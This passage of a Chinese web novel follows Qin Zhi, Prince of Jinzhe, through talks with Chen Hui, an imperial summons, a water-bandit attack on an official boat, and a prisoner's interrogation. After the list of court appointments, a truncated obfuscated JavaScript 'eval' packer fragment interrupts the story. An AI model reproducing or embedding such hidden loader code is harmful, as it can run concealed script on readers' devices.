一碗温药喝下,半盏茶的时辰后,秦祉终于长舒了一口气:“......咳咳,活过来了。” 陈徽警惕地望着面前案几,至始至终一口未动。 “使君不必担心,但吃无妨。”秦祉笑道,“张舒这人精通医毒,就算有什么问题,让他来诊治就是。” 更让人担心了...... 陈徽冷漠地看着她,没有插科打诨的心情:“我此番前来的目的仅有一个,那就是将陈岁带回域陵。” “嗯。”秦祉颔首认同,“这是自然,你们陈氏的人来寻陈女公子,本王自然不能多加阻拦。” “那还不......” “可是本王不认识什么陈岁。” 陈徽气笑了:“殿下有些强词夺理吧?” “怎会?你若想带人走,三年时间不曾派兵去寻,如今又如何从域陵一路南下,十几人的轻骑连过两州都追不到的人,偏偏知晓她会来晋赭找本王?”秦祉含笑反问,“莫不是别有用心吧?” 陈徽目光一暗,让她说准了。 他的确不是为陈岁而来,那不过只是一个借口,一个让他域陵太守能够涉足梌州也不被怀疑的借口。 “殿下够聪明。” “免了。”秦祉说,“这话本王都要听腻了,每一个这么说的人之后做出来的事情一个比一个缺德。” 陈徽不善言辞,或者说以他的身份地位,尚且无人在他面前如此无礼,偏秦祉的每一句话都落在了难以预料的点,让他哑口无言。 “数月前,樵阳的休战盟约,蜀州牧楚旻从翼州失踪,至今下落不明,据说是被殿下的人护送离开,不知此人现在何处?” “周氏和陈氏当年险些联姻,按理说关系应当还不错吧?”秦祉含笑反问,“周令要挟持楚旻一事,没跟你们陈家通信?” “按理说,楚旻失踪,利好你呀域陵太守。” 陈徽神色一凛,抬眸看向主位,那人单手支着脑袋,似笑非笑地投来一股视线时,清俊雅逸的面容带着一丝风姿昧意,十分蛊惑人心。 “阿岁就是因为这个才跟你跑的?” 秦祉:“?” 陈徽冷哼一声,将视线瞥开。 “陈使君,你怕是你对姊妹有些误会。”秦祉面色冷淡下来,声音轻柔却不容置疑,“当年浍州战乱,战火一路南下波及蜀州,难民大量涌入,百姓流离失所,苦不堪言,蜀州牧和各郡太守皆奉旨进京不在当地,因此一时难以平息。” “陈徽,你见过血染平野、易子而食的场面吗?见过民不聊生、尸骨未寒的乱象吗?见过人头累起足足几米高,如此耸人听闻的京观吗?” “你......” “你当然没有,你们哪里看得见?” 秦祉轻轻舒了一口气:“陈女公子虽出身显赫,但却有慈悲之心,不忍见百姓活活饿死,故而冒死开私仓救人,数千条人命因她而活,这便是洛书教最早的一批教徒。” “她逃离域陵,逃离陈氏,只是因为她还想活命,想以陈岁之名活着。”秦祉嘲弄道,“你要说因为我?” “若是因为我,那何不嫁给周和,虽说那个王八......” 数道视线同时射向秦祉,秦祉一顿,若无其事的抿了抿唇,暗道:说习惯了,从小和他就不对付,骂他多少年了,顺嘴冒出来这种事简直习以为常。 “咳,那个自诩有王霸之气的周和性格不怎么讨喜,脑袋也不怎么聪明,人还比较阴险。” 这到底是夸赞还是借着由头骂人泄愤呢? “但是至少,样貌还说得过去。”秦祉指尖摩挲了一下下巴,“没道理偏生因为钟情本王就跟着私奔一样了吧?” 更何况还散布什么该死的谶纬,简直把她架在炉子上烤! 说到这个还没找她算这比账。 “哎说到这笔账,叫关和把朔昭阁的修葺费账单拟出来交给陈使君。”秦祉转念又想到了此事,挥手吩咐道。 怎么就又到账单的事了!这都什么乱七八糟的,哪跟哪啊! 四两拨千斤。 一句有用的信息没说就算了,还莫名其妙摆了本账书放到陈徽面前。 面前的女官笑眯眯地翻开,友好地开始了她的发言:“陈太守,根据朔昭阁房屋损毁面积来计算,包括屋檐坍塌将屋内大小设施一并砸坏,又刚好是阁主摆放饰品的仓库……” 哪里就这么刚好了,一看就是在骗人。 陈徽打断了对方的喋喋不休:“说重点,到底要干什么?” 关和恰到好处地将账本翻页,落到最后一行字,一字一顿道:“一共需要陈太守赔款三百八十一万金,但是介于我们阁主与陈氏多年渊源的份上,为您抹去零头,只需要三百八十万即可,陈太守,请。” “三百八十......万?”陈徽声音又平又冷,“你怎么不去抢?” “自然还是有区别的。”秦祉说,“仓库里放了先帝赐给本王的宝物,现在直接灰飞烟灭,好歹是域陵陈氏,十姓之一,别这么吝啬。” “快,关和,备好纸墨让陈使君打个欠条。” “恕在下失礼一问,先帝赐给殿下的是何物?” 骂天骂地骂百官的信件罢了...... “珠宝而已。”秦祉嫣然一笑。 ---- “阁主,这欠条真有用,陈氏他们能认吗?” 秦祉身上的伤势未好,连夜周折又有了要裂开的迹象,她眼下躺在榻上,身侧张舒的怒火已经快要抑制不住的从脸上展现出来,连带着抹药的手劲都重了一分。 “嘶--”秦祉微微呲牙,吸了一口气,“张舒你......” “忍着。”他面无表情的垂眸,“这么重的伤还没好就骑马,我看你也不怕这点疼。” 秦祉忍气吞声地将话题转走了:“这点钱对陈氏来说不算什么,最多觉得憋屈,好歹是陈岁干出来的事,陈徽不至于抵赖。” “这么说来倒也奇怪,那么陈徽来此的目的究竟是为何,难不成当真是来冲着我们要楚旻的不成?” “周令真的退兵了吗?”秦祉声音四平八稳,但说出的话却让关和怔住了,“您的意思是?” “去查周令的几路兵马具体的撤退路线。” 怕是一分一秒都不能再耽搁下去了…… 韩阁传信,西州两股势力趁中原混乱杀入殷州,阮义旧部未散,因此耽搁了不少时日,眼下终于进了梌州界内,但楚旻 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“如果说他开城门的行为是站队周令的话,那就没有护送天子离开都邑的必要。” 柏萧鹤突然开口:“徐生……” 两人对视片刻,只觉得脑中思绪万千,隐约抓住了点苗头。 南风暖窗,绿肥红瘦。 殷州庐野别院,一人笑着仰倒在塌上:“哈哈哈哈真是天助我徐家!” “天下群雄皆要抢这头功,却不想天子早已不在都邑,万事皆如徐行所料,只是不成想让那晋赭王来参了一脚,真是该死。” “不管怎么说,屠玉也伤了晋赭王,算是扯平了……” “扯平?”徐生冷笑一声,坐起身子,“他堂堂中郎将,连一个小亲王都拿不下,反被对方捅伤,这也叫扯平?” “当日兰干他让我受尽屈辱,我徐生不将此仇还报,便……” “徐公子,太仆有请。”门外侍从的声音轻而易举地打断了屋内的对话,徐生表情不善,一言不发地从榻上起身,在路过那人时,低眸狠狠地瞪了他一眼,侍从连忙埋头,避开这道锋芒的视线:“请。” 书房内,主位上的翩翩公子正与其下众人谈笑风声,徐生入门的那一瞬间,也不成想会同这些人见面。 殷州刺史许文棹、谋士张陏、竟然还有武将王戚?他不是壶甲关战死司缇之手了吗?为何会......在这? “叔父......”数道视线同时回首落到自己身上,徐生那一刻感觉自己的心跳如雷贯耳,他险些失声,脑子里一团乱麻,只浅浅唤了一句徐行,便没了动静。 香气弥漫间,徐行凉薄的目光打量着面前这个侄子,半响笑道:“诸位,这便是我派去兰干理事的徐生,他年纪不大,正是需要历练的时候,望各位多多包涵。” 王戚粗粝的手指摩挲着头盔,闻言笑着回答:“这是自然,听闻小徐公子年纪虽小,但也是暗中动了不少粮草,兰干险些陷入困境,若非半道杀出一个晋赭王......” 这名字一出,空气中突然寂静了下来,王戚下意识回头观望着徐行的表情,只见后者意味深长地重复道:“晋赭王。” 58. 交心 “徐生就是在听凭徐行做事的。”秦祉哑然失笑着趺坐着,“竟让他摆了一布。” 柏萧鹤似乎并未听见秦祉的声音,只微微低首,不知思忖着何事。 “柏浪昭?” “嗯?”他抬眸看去。 “你在想什么?” “张珏如今是你的人吗?” 秦祉诧异道:“言贺那天晚上半点没看住你?” 柏萧鹤闻言一笑:“下次至少换个武将,说不准还有点用处。” “算也不算,利益往来罢了。”秦祉说,这句话所言不假,张珏为了给自己寻一条活路,而秦祉为他指出这样一条路而已。 数月前兰干,子时街巷。 “殿下,你可得救我一命。”张珏笑着求饶后,耳边传来一声低语,秦祉平静的附耳轻言: “你可以投入周令手下,说是得知晋赭王有关讨阮的重要情报来谋生,本王欲潜入都邑城搏杀阮义,你如此告知周令,他必然会亲自带兵攻打。” 张珏瞳孔一震,反问道:“若是殿下骗我,我可就真必死无疑了。” “你在都邑那么多年,半点通风报信之人都无?” 张珏思索片刻:“我信你一回,如约引周令前去,但攻城与否,看你来信。” “找谁传信?” “都邑城最大的书肆。”张珏说,“你只需要从前面进,而后穿至后院而出,掌柜知晓殿下模样。” 若是刺杀阮义如此简单,他也不会在都邑放肆五年之久,秦祉必须利用周令的兵马,将城内搅的一片混乱,阮义无暇顾及时,方可下手。 至于为何一定是周令,自然是因为他五世三公的名头,他号召群雄,天下响应,阮义才会自乱阵脚,露出破绽。 柏萧鹤看着秦祉的眼眸,一时无声。 她不信他。 或者说,她不相信兰干真的会站在她的一方。 但这的确是秦祉的顾虑。 若说张珏为周令办事,徐生听徐行部署,按照此番徐行为周令迎开城门的举动来说,至少在先前,二人曾或长期或短暂的统一阵营过,如此张珏与徐生同现身兰干一事,便值得深思。 绝不仅仅是为了表面粮草的利益,归根结底是为了兰干兵败,地盘或是兵权,以兰干五大营为首,简直如同香饽饽一般的诱人。 但若朝这个方向发展,要说张珏之上无人应和,必不可能。 这个藏的更深的人,会是谁呢? 是与中原一直有联系,不知扮演什么角色的花颖慈,还是眼前这个有着常胜将军的封号、却看不出野心的柏萧鹤,亦或是......兰干目前的掌权者,荀谌呢? “算了。” 秦祉思绪骤然被打断,面前柏萧鹤起身,影子无声地笼罩下来,逆光看去,柏萧鹤的五官显得有些锋利,但他只是笑了笑:“我知道你在想什么,但世事茫茫难自料【1】,思虑太多不是好事。” 秦祉的眼睛眨了眨,被对方手一抬遮住了,黑暗彻底盖住光亮,她听见一声若有若无的、很轻的话落入心间: “我会等你到日后想说的那一刻。” “抱歉哦陈太守,书房内殿下和将军正在议事,您不可以直接进去的。”门外,凌云稚嫩的声音平静的传来,近些日子接触的大人物久了,已经可以平静的面对陈徽这样的人物了,如果忽视她微微颤抖的手的话。 没办法,陈徽这人从面相上看就不是什么太好惹的人,倒也并非是征战沙场的戾气,但就周身那股阴翳的气质,就足以让凌云倒退三步,离得远远的。 “哪来的小孩儿?”陈徽在此地耽误了太久,眼下已然没了耐心,声音又冷又硬,“让开。” “在下是......是殿下的女官,负责殿下的......啊!” 陈徽刀锋轻轻一拨,人直接踉跄两步,跑去几米远才险些站稳:“哎等等!” 书房门赫然打开,陈徽脚步一顿,迎面对上的,正是柏萧鹤。 “有事?”柏萧鹤语气凉凉。 “晋赭王呢?”陈徽问,“我属下来报说蜀州牧不打算落地晋赭,要走沄江折回蜀州?” “蜀州牧不回蜀州,难不成还要守在晋赭做事不成?”柏萧鹤意味深长道,“陈太守,你若不放心,大可跟他一并回去。” “陈为在等他。” “轰隆隆——” 一道惊雷赫然于天空炸响,乌云随风而至,遮天蔽日,四周风起,四面八方的刮进院落,卷起枝头柳叶。 天,要变了。 秦祉顺着窗棂朝外看去,鼻腔微微发出一声疑惑:“要下雨了?” 屋内烛火幽幽,陈徽面色不佳的端坐对侧,对面贾文勰冲他颔首点头,身侧除了柏萧鹤外,竟还有一人,名为解祈安,自诩兰干谋士。 “陈岁不重要,或者说跟家族利益相比,无足轻重而已。”陈徽喝了口酒,继续说,“域陵陈氏乃是中原十姓,家族门楣,百年声望不可断,而如今燕安颓败,未必没有天下易主之势。” “陈使君,说话自当三思。”贾文勰提醒道。 陈徽看他一眼,扯了扯嘴角:“真是三思而虑之深,才能在此地耽误如此长的时间。” “如今徐行控制天子于殷州庐野暂时落脚,那可是个好地方,徐氏所有兵力皆养于此,势力遍布州郡,那徐行的心思再明显不过。” “你以为周令能忍?”陈徽目光垂看微微晃动的酒,“周令必然会有动作,但他不会对天子出手,因为那是造反,于是他的目光便移向了蜀州牧楚旻,但他如何偏生选楚旻?” “陈为与周令的交易是什么?”秦祉单刀直入,丝毫不拖泥带水。 “士族站队,无非不过利益二字。” 秦祉笑着上身向前凑近了两分:“那就稀奇了,周氏五世三公,陈为与他往来结盟,看似并无坏处,你如何要将此事转达于本王,这不算背弃陈氏,背弃你长兄了吗?” “周令若立楚旻为帝,天下必会再度重现讨阮之局,届时周令未必能自保,我陈家也危在旦夕。” “陈为若知晓你今日言行,或会清理门户。” 陈徽平静说:“殿下护送蜀州牧楚旻 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马蹄翻飞,掀起阵阵尘土,少年肆无忌惮的笑声传遍整个山林,在他之后,战马嘶鸣,旌旗蔽空,宛如一场盛大狂欢。 “我来。”秦祉身下马匹速度只快不慢,但上身却如履平地般稳健,双腿发力,手挽长弓,微风带起发丝,她眼神明亮朝气,反手搭上一只羽箭。 就是此刻! “嗖——” 破空的锐声从耳旁一掠而过,旋即那只灵巧机敏的鹿应声而倒。 “啊!柏浪昭你要死啊!”秦祉这一箭尚未射出,被柏萧鹤捷足先登,抢了鹿头。 他畅快地大笑着从秦祉面前骑过,风中留下一句:“没办法,射技好啊!” “站住!有本事比一比今天到底谁能夺得头彩!” 几匹战马率先冲锋,互相咬着劲般的齐头并进、你争我夺。 “哎,别耍赖啊。”柏萧鹤手腕微微用力一带,避开司昀的偷袭。 “你一常胜将军,单涉猎多没意思,我给你添点新鲜的玩法。” “殿下,你这不管?”柏萧鹤笑着反问,秦祉趁机纵马而出,一箭射下猎物,头也不回:“看不见。” “阁主!阁主——!” 众人玩的正欢,崔颉妙略显焦急的声音从后方赶来,秦祉闻言勒马,狐疑道:“我怎么感觉听见颉妙的声音了?” “不能吧,她不是在朔昭阁与关和他们凑一起不知道搞什么玩的呢吗,怎么会来这?”司昀跟着回头,惊道,“靠,真来了,不是出什么事了吧?” “阁主!” 秦祉见状问道:“怎么了?” 崔颉妙微微喘着气,说:“阁主,太中大夫于勤奉命持天子符节出使兰干,如今人已到王府了。” “于勤?”从后面赶来的贾文勰意外道,“他这个时候来晋赭是为了什么?” “是谶纬一事。” 气氛骤然凝重,只听她说:“天子有令,命晋赭王奉旨前往殷州庐野,入宫觐见。” 59. 官船 “主公,怕是徐行在这钓鱼呢。”贾文勰说,“咬钩的话可就上当了。” 秦祉微微偏头:“那还有别的方法不成?” “那就要看主公的借口是什么了。” 那谶纬一出,晋赭王为民搏杀阮义、单挑屠玉负伤人尽皆知,百姓无一不感激涕零,以梌、潭二州最为明显,秦祉也就是趁着这个机会,招了点小兵,倒也不算太多,毕竟不是强制募兵,所以算下来不过也...... “足有一千人了。”贾文勰继续道,“裨将军也不过才管1600人,属实人数多了点,不太好解释。” 尤其是徐行若真要安个什么造反的名头出来的话。 秦祉思忖片刻,若有所思说:“自愿而来,非强制逼迫,谈何募兵一说?前段时间从端寿运回来的粮呢,一人分下去些,将人安置在游泉,就说是难民即可。” 游泉,晋赭西南的县城。 “徐行未必会信。” “他信不信不重要,重要的百姓如何看。”秦祉说,“另外,张陏那边可能在我们这里安插了探子,让钟怀去查。” “张陏?” “在端寿联盟时就一直跟着的,我本以为会是楚湛那边的问题,但现如今看来,竟是出在自己身边了。” 晋赭王府,朱门深院外翠竹掩映,内里青石铺地,两侧曲径通幽,清风徐来、清香缭绕,一步一景、宛如仙境。 外院亭台楼阁上,雕栏玉砌,透着别样一股风雅。 “在下太中大夫于勤见过晋赭王。”廊下那人行大礼叩见,举手投足无一让人挑不出错来。 “于大人客气,反倒是本王来迟,让大人好等。”秦祉含笑道,“倒是不知大人此来晋赭是有何意?” 于勤抬起头,露出了那张周正克制的面容,他再度拱手道:“回殿下,臣此次前来是奉天子口谕,召殿下入宫。” “是天子召本王,还是另有其人啊于大人?” “自是天子。”于勤平静回。 “缘由呢?”秦祉问,“如今天下不甚太平,诸侯间贸然离开封地,闹起事来不好收手。” 于勤目光直视秦祉,说:“殿下都邑城护驾有功,但天子听闻殿下为此受伤,因而心中挂念,如今殿下身子大好,自当入宫一会。” ---- “说的倒轻巧,如今天下谁不知天子被控制在他徐行手中,我看这次分明就是鸿门宴,保不齐徐行要先下手为强,等着除掉殿下呢!”司昀忍不住暗骂一声。 “我倒不这么认为。”贾文勰蹙眉道,“若是徐行有意对主公下手,都邑时是最好的机会,那一晚段姝焉既然撞见了徐行,又被他指了路,可却没有下一步的动作,我想必是有其他打算。” “那是没有借口。”司昀说,“那晚徐行何来杀害殿下的理由,被世人知晓那他才会成为那个谋杀皇室的罪人,现在陈岁搞出谶纬一事,殿下又才募兵千人,这个时候谋反的屎盆子扣殿下脑袋上......” “咳。”秦祉微微后仰,瞥他一眼,什么话这是。 司昀一顿,挥手道:“殿下你也别嫌弃我说的不好听了,这罪名真扣脑袋上比屎盆子真是有过之而无不及了。” “你以为呢?”秦祉无声地白他一眼,将视线递给了柏、解二人。 “不会。”柏萧鹤说,“徐行若杀你,动作太大,如今局势尚不安稳,此举会引天下群雄忌惮,得不偿失。” 解祈安吃着沁人心脾的茶,闻言附和:“的确,如今徐行要做的,是止住中原乱战,全心发展势力,殷州那位置不算好,北面毗邻西、翼二州,正是眼下闹的最欢的地方,南边大半挨着氾州,五大营兵力不弱,他恐怕避之不及,眼下再得罪晋赭,岂不是自断后路?” 司昀觉得头痛:“那依照你们的意思,徐行派于勤来的目的又是什么,让殿下去庐野又是为了什么?” “应当是......”秦祉微微一笑,“不止召我一人入宫。” 翌日。 “你是说,点名道姓,请了柏浪昭?”司昀质疑反问。 于勤垂眸,避开众人视线,道:“已经耽搁了一日,眼下还需尽快出发才是,殿下,将军,请。” “这话你昨日怎么……” “司昀。”秦祉声音波澜不惊,但警告之意蔓延,司昀立刻闭嘴,没了声音。 晋赭一切事宜交给贾文勰处理,此次北上庐野,秦祉只带了一人跟随,那便是朔昭阁上任阁主,韩阁。 他一身玄衣,腰系匣光宝刀,脸色苍白的近乎病态,冷冽的眉眼微微下垂,薄唇微抿,淡漠的像是非人。 静谧。 空气中弥漫着一股死气沉沉的味道。 秦祉视线移了移,心道:早知道给韩晟一同拎过来好了,好歹路上也有点说话的声音。 韩阁和韩晟是双生子,可以说除去性格差异,外貌基本上差别不大,若是刻意为之,旁人甚难分辨出二人的差距。 但性格可就是天差地别的了,原因或许跟他们曾经侍奉的主子不同有点关联? 朔昭阁曾分两部。 阁主韩阁兼任一部,专门为天子做事,听凭先帝楚珩一切命令,而韩晟作为二部首领,则负责保护秦祉的安危。 “樵阳休战盟约之后,你那边都发生什么了?” 韩阁微抬眼帘,无声的皱了皱眉,休战一事至今半年有余,期间琐事繁多,真要从头讲来怕是三天也说不清。 “周令部下华骞,阮义部下王戚,以及西州边阀肖敬。”指的是众人齐聚,殷州乱战,韩阁声音和他人一样冷,一字废话不提,“华骞要活捉楚旻,肖敬趁乱夺取平宁郡,至于王戚......” “这个人,很怪。” “什么说法?” “许文棹派人护送楚旻远离是非,但出发前夜,刺史府内,我看见了王戚。” “!” 王戚和许文棹有瓜葛? “可听清他们二人的对话了?” “离得太远,只听见一句。” “是什么?” 韩阁目光落到秦祉身上,一字一顿道:“是时候出手了。” 沄江江面和风徐徐,从晋赭顺江面,一路西北顺势而上,时辰缩的更短,只是于勤没能想到,这路过沧州一带时,被所谓的水 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“什么?”数只铁箭射过来时,于勤大惊失色,他哪里见得截杀官船的场面,随行总共不过二十人,也不曾带多些武器,偏生居然让他撞见此等骇闻,若是晋赭王真在这里出事,他的脑袋怕也是不保。 船舱中听见动静的秦祉下意识偏头:“出什么事了?” “水匪。”韩阁说。 “殿下,不好了殿下,外面不知哪里跑来几十号水匪,声称是为殿下而来,于大人正带人与其周旋交战,派属下告知殿下,千万不要离开船舱!” 秦祉沉默两秒:“一般这样说那就是一定要出去的意思。” 来人呆住:“啊?” 柏萧鹤偏头低笑一声。 秦祉看他一眼,后者手指一动,抓起战戟:“那就出去看看?” 来人表情逐渐震惊:“什么!” 官船甲板,已经遍地长草般的插了好几只铁箭,掀开帘子,只见官兵举盾护着于勤抱头鼠窜,场面滑稽的不像话。 秦祉忍了又忍:“诸位,你们这是在做什么?” “什么,殿下怎么出来了,还不赶快守护殿下回船舱,这里有在下顶着,定能保殿下安全......” 秦祉无声地叹了一口气:“船上有弓吗?” “有,但是不多。” “有两个就够了,派人去把这些铁箭收一收,两侧架起来能杀就杀,杀不死逼退对方也行,他们的目的是为了逼近官船,不能让他们得逞,一旦登船,人数差的太多不好打。” “可铁箭没有的话,对方不就又攻过来了吗?”于勤狐疑道,“啊,难道说对方攻过来还会继续用铁箭,然后我们继续捡......” 你有病吧。 秦祉面无表情的看着他。 柏萧鹤乐了。 “韩阁,棉花沾酒,火油烧起来拿铁箭射。” 韩阁正欲转身,只见旁边伸出一只手,修长精致的手心上,赫然是几团纯白的棉花。 手的主人,是正含笑看戏的柏萧鹤。 60. 野心 “这你也提前准备了?”秦祉诧异道。 “有备无患嘛。”柏萧鹤手撑着围栏望远处眺望,“河道对岸是沧州,距离此地最近的,是端寿。” “你怀疑是楚湛派的人?” 柏萧鹤微微挑眉:“我可没说。”他双手用力,从上面跳了下来,战戟一挥挡下飞来的铁箭。 “只是兑忧书斋一事,楚湛损失了不少,加之端寿当地那些士族的军需,最后没用上多少不说,还让殿下手下的司昀通通顺走了,人家能不生气吗?” “但在此地动手,未免有些明目张胆,只是真要这么算下来,那这水匪背后的人是谁,可就真不好说了。”柏萧鹤笑道,“殿下,你不如列个名单瞧瞧,看看你到底都得罪了多少人呀。” “唰--” 一团烈焰在碧水绿野间赫然爆开,星星点点的散开,带起一众尖叫声。 “老大!他们有火!” “船着了!快点扑火......” “不行,火太大了,跳下去,都快点跳进水里!” “可惜了,要是这些船都连着,就更容易打了。”秦祉手中握着剑,踱步现身,垂眸瞧着水匪,“听说就是你要找本王?” 水匪头子视线从两侧燃起的小船上扫视一圈,目光不善:“你以为这样我们就能知难而退?” “当然不。”秦祉笑笑,“你们常年生活在这里,如果本王没猜错,应该极为善水,跳下船的弟兄们少了好几位的身影,是想着趁机爬上我们的官船吧?” “全体戒备!”于勤当即大喊道,“你们分开,去两侧盯着,见到有人直接射杀,别让他们上船。” 秦祉反应不大,只是微微偏头感受了一下。 “起风了。”发丝跟风而行,遮盖住半边视野,柏萧鹤手指轻轻敲在围栏。 官船顺水顺风,则速度最快,虽说不及战船艨艟,但如今江面的风大有刮起来的趋势,简直可以说是天时地利。 “于大人。”柏萧鹤头也不回的命令,“叫你的人把船速提起来。” 于勤连忙挥手去办,问道:“是要直接跑出去吗?” 柏萧鹤微微勾唇:“不,直接撞过去。” 于勤下意识看了一眼秦祉,但后者对此并无异议,只笑了笑。 “韩阁,活捉那个水匪,其余人,杀。”秦祉抬手一指,而后像是觉得无趣般的返回了船舱。 无论那水匪背后之人是谁,只要他愿意指认,那么端寿内,是谁都可以。 外面乱七八糟的声音持续了大抵能有两刻钟才归于平静,帘子再度掀起时,秦祉正闭目养神,她缓缓睁开眼,只见韩阁表情淡漠地压着人进来了。 “扑通”一声。 那人被推到了地上,跪了下来。 “殿下,这个人理应处死。”于勤在一旁行礼道,“对官船出手,意图行刺亲王之人,绝不可放过。” “此事不急,暂且将此人关押,等本王从庐野回来再说。” “这不合规矩,殿下。”于勤再度开口,“若是此人居心叵测,也应移交廷尉正,岂能予殿下私自审问处置,这不合燕律。” 秦祉思忖两秒,旋即应道:“好啊,于大人所言有理,就这么办,到了庐野便移交给廷尉正便是。” 话是这么说着的,于勤的心刚放下不过几天的时间,转眼就有属下的崩溃传遍官船每一个角落,声称那水匪头子不见了,满船都没看见那人身影,八成是不知道怎么逃脱了镣铐,跳江失踪。 而此时的官船,恰好驶过天桂山下,乌庆县旁。 ---- 殷州庐野。 “此次诛讨阮义,诸位皆是有功之臣,理应封官加爵,眼下便只需等晋赭王与柏将军的到来。”别宫中,十四岁的楚芃身披冕服正襟危坐,面白如玉,星眸俊目,仔细看去,那五官同楚珩竟足有六七分相似。 其下徐行微抬眼帘,闻言笑答:“于勤传信,就在近日便会到达庐野,只是......” 他刻意停顿,激起楚芃好奇:“只是如何,太仆不必顾虑,但说无妨。” 徐行缓缓开口:“从梌州到殷州,于勤行官船走水路,但在途径沧州时,遭遇水匪劫持,对方声称要同晋赭王小叙,并有意诛杀官员。” “还有这种事?”楚芃思忖两秒,说,“那晋赭王和于勤可还安全?” “并无大碍,贼人就地伏诛,水匪首领被活捉。” “那便等他们到了,让廷尉的人仔细审问。” “晚了,陛下。”徐行微微摇头,“那人已经从官船上逃跑。” “这事说来也巧,距离水匪最近的郡县是端寿,而那晋赭王恰好于端寿做了些利民的好事,只是因此或可得罪了当地诸侯……或是士族。” “端寿?”楚芃视线落在徐行漆黑的眼中,似乎察觉到了一丝凉意,“是发生了什么事吗?” “貌似和陆氏有关。”云淡风轻的一句话,便将陆氏推至了风火浪尖。 ---- “这个徐行简直……” 秦祉险些骂出了声,春山居名头挂在了陆绥那里,即便他什么都不管,要是有人需要拉他陆氏下水,他也躲不开,如今的徐行就是最好的例子。 殿前秦祉简直耗费了好一通口舌,才堪堪将竟宝一事从陆氏身上摘了下去,兑忧书斋被烧,楚湛自然不会再露出马脚,后续除了葛向北处置外,楚湛自己也清理了不少门户,因而此时若非要牵扯,唯有当日竟宝时,死于火灾的范、孙两家士族可供选择。 范无畏是明枪的话,那孙氏就是暗箭。 徐行这么做的唯一目的,就是为了挑起两位诸侯间的争斗,谁是幕后真凶不重要,谁输谁赢也不重要,他求的是渔翁之利。 而在这之上,更妙的,则是封官一事。 太仆徐行升任司空,录尚书事,谋士张陏任都邑令,樵阳太守周令升任翼州牧,晋赭王任梌州刺史,而最后一人则是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦祉和柏萧鹤二人靠着山坡上的一棵树下并肩坐着,放眼望去,绿草如茵,无边无际,空气之中带着泥土最原始的清香,连同身心都跟着放松下来。 秦祉说着,往后一仰,埋进草地间:“沧州不比中原,没有名门望族,只是越是如此,当地士族乡贤便越能只手遮天,贸然多出一个不合群的太守,你怕是有好日子要过啊柏浪昭。” “你倒是会幸灾乐祸。”柏萧鹤手腕搭在支起的一条腿上,偏头垂眸看向秦祉,后者抬手遮着半面阳光,而后悠哉的闭上了眼,享受这片刻宁静的欢愉。 “也没有吧?”秦祉反驳说,“要论起这个,我哪里比得过你啊,如今这个就叫做风水轮流转,看戏者终被当戏来看。” “哎说真的,兰干五大营之首是你,如今你上任郁南,兵力肯定要带走吧,荀谌那边还能信你吗?” 柏萧鹤看也不看地回:“你是想问兰干和晋赭的联盟还在不在吧?” 秦祉缓缓睁开眼,任由刺眼的阳光落进眼眸,微风一吹,斑驳树影悄然跳动,带走部分碎金的光。 “或许也可以换个说法。”秦祉说,“兰干的野心有多大。” “你柏浪昭的野心……” “又有多大?” 这是第一次,秦祉如此坦然而了断的,试探柏萧鹤的立场。 61. 南攻 “太直白了殿下,你这和当众扒人衣服有什么两样?”柏萧鹤站起身,感受着微凉的风铺面的舒适,而后转身,冲着秦祉伸出手。 “乱世之中瞬息万变,什么保证都过于虚伪了。”秦祉的手搭上的一瞬间,他微微用力将人从草地中拉起,两道身影瞬时贴近,只听柏萧鹤继续说,“未来的事未来再说。” 两相无言中,风起云涌,天际的云层被吹散了,散向四面八方,重重叠叠,或被吞并为更为广阔的一块,或形只影单,飘荡生存于缝隙…… “王贡闻办事够利落,人一路给押送回来的,一点没跑成。”司昀拿过钥匙开了地牢的锁,“钟怀听说以后,提前审问过一遍了,只是这人骨头够硬,没吐出什么有用的东西来。” 门开后,是一条悠长漆黑的走廊,直直通向地面深处,如同地府的黄泉路,阴森、压抑,几道弯转过,才隐约有了烛火微弱的光亮。 地牢内,栏杆中那人被枷锁扣着,坐在潮湿阴暗的地面,依稀可见身上破碎服饰下的血垢和伤痕,近乎体无完肤。 听到脚步声,那人微微抬起头,然后,瞳孔逐渐放大,带着破碎的笑意缓缓出了声:“我还以为你不会出现了呢。” “晋赭王。” 秦祉推开牢门,踱步到此人面前,居高临下的打量了片刻,一只手指挑起对方的下颚,道:“居川,沧州郁南名士,但逢乱世家道中落,迁居途中居氏遇时疫而家破人亡。” “你孤身一人到端寿落脚,自以为遇到明主,却不知对方全然不给你半分官职,更像是将你当做......死士。”秦祉刻意停顿,而后蹲下身,“此次沄江袭击官船,他可向你承诺,你若干掉晋赭王,保证即刻允你,至少县丞之位,我说的可对?” 居川呼吸不易察觉的重了几分,看着秦祉的视线冷到极点,却仍然薄唇紧抿,闭口不答。 “让我们来猜猜,你的背后之人是谁?”秦祉声音轻快,语调跟着上扬,或许是觉得这个姿势够累,她干脆趺坐在了地上,动作恣意随性,没了半分亲王的架子。 “端寿各势力划分的足够清楚,唯有陆氏是沧州本地的豪强,除此之外便唯有沧州牧,只是此人年岁已高,如今身体抱恙自顾不暇,因此各郡县蠢蠢欲动,其中自然也有那位整天惺惺作态扮无辜装柔弱的小亲王。” “楚湛。” 居川觉得自己嗓子有些紧:“这么说不太好吧?” “嗯……”司昀拐着弯的哼着摇头,“习惯就好了。” 居川蹙眉偏头冷笑:“随你说,需要我配合着鼓掌,夸一句‘殿下真聪明’吗……呃!” 一瞬间,冷汗直冒,居川痛苦地咬紧了牙关,扭曲地看向眼前略带笑意的眼,对方轻飘飘问:“疼吗?” “我艹……你够、狠啊。” 秦祉淡定的将手从对方伤口移开,温和道:“或者你说出背后指使你的人,也可以。” 居川勉强地笑了两声,说:“陆衎。”而后带着挑衅的目光落在秦祉脸上。 后者点点头,附和道:“楚湛,我明白了。” “哈。”居川被气笑了,还他妈押上韵了,他一使劲扯到伤口,疼得直抽气,“你既然认定了他,还有来问我的必要?” 秦祉说:“所谓分析嘛,表情和肢体是最能出卖一个人内心的想法,尽管……你的肢体不太能动,脸也脏兮兮的。” 居川:“……” “但是总体来说,还是足够本王判断,楚湛。”秦祉笑了笑,“你看,你的呼吸加重了。” “哎呀?”秦祉惊诧反问,“总不会是喜欢吧?” “你胡说八道什……”居川忍无可忍的怒道。 “所以,就是楚湛。”秦祉平静说。 司昀站在后侧门外,看到此处都要忍不住为秦祉喝彩,太能演了,还什么分析,靠观察对方神色,来之前一早,王渊和沧州密探的来报秦祉可以说是一字不落的看完,这才闲庭信步的来到地牢,不成想她反倒忽悠上对方了。 “你到底要干什么?” 